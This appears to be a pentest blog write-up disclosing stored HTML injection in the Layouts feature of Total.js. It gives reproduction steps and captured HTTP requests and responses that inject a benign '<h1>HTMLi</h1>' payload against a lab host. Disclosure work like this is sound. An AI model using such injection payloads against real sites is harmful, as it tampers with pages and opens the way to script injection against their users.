Friday Fun Pentest Series - 45 - Stored HTML Injection - Layout Functionality - totaljsv5013

Description

- It was noted that the "Layout" functionality was vulnerable to Stored HTML Injection

Stored HTML Injection - Layout Functionality

Steps to Reproduce:

1. Login with user and visit "Layouts"
2. Click on "Create" and enter name for the layout
3. Trap the HTTP POST request and in the "html" parameter value enter the Stored HTML Injection payload below
4. Upon visiting the newly created layout the payload would execute

<h1>HTMLi</h1>

// HTTP POST Request - Creating New Layout

POST /admin/ HTTP/1.1

Host: 192.168.58.153

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0

[...]

{"schema":"layouts_save","data":{"name":"xss-test-layout-name-test","html":"<h1>HTMLi</h1>"}}

// HTTP POST Response - Creating New Layout

HTTP/1.1 200 OK

content-type: application/json; charset=utf-8

cache-control: private, no-cache, no-store, max-age=0

vary: Accept-Encoding, Last-Modified, User-Agent

expires: -1

x-powered-by: Total.js

Date: Sun, 26 Oct 2025 16:41:53 GMT

Connection: keep-alive

Keep-Alive: timeout=5

Content-Length: 39

{"success":true,"value":"JE6c9M1cB61f"}

// HTTP GET Request - Triggering the Payload

POST /admin/ HTTP/1.1

Host: 192.168.58.153

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0

[...]

{"schema":"layouts_html","data":{"id":"JE6c9M1cB61f"}}

// HTTP GET Response - Triggering the Payload

HTTP/1.1 200 OK

content-type: application/json; charset=utf-8

cache-control: private, no-cache, no-store, max-age=0

vary: Accept-Encoding, Last-Modified, User-Agent

expires: -1

x-powered-by: Total.js

Date: Sun, 26 Oct 2025 16:46:18 GMT

Connection: keep-alive

Keep-Alive: timeout=5

Content-Length: 60

{"name":"xss-test-layout-name-test","html":"<h1>HTMLi</h1>"}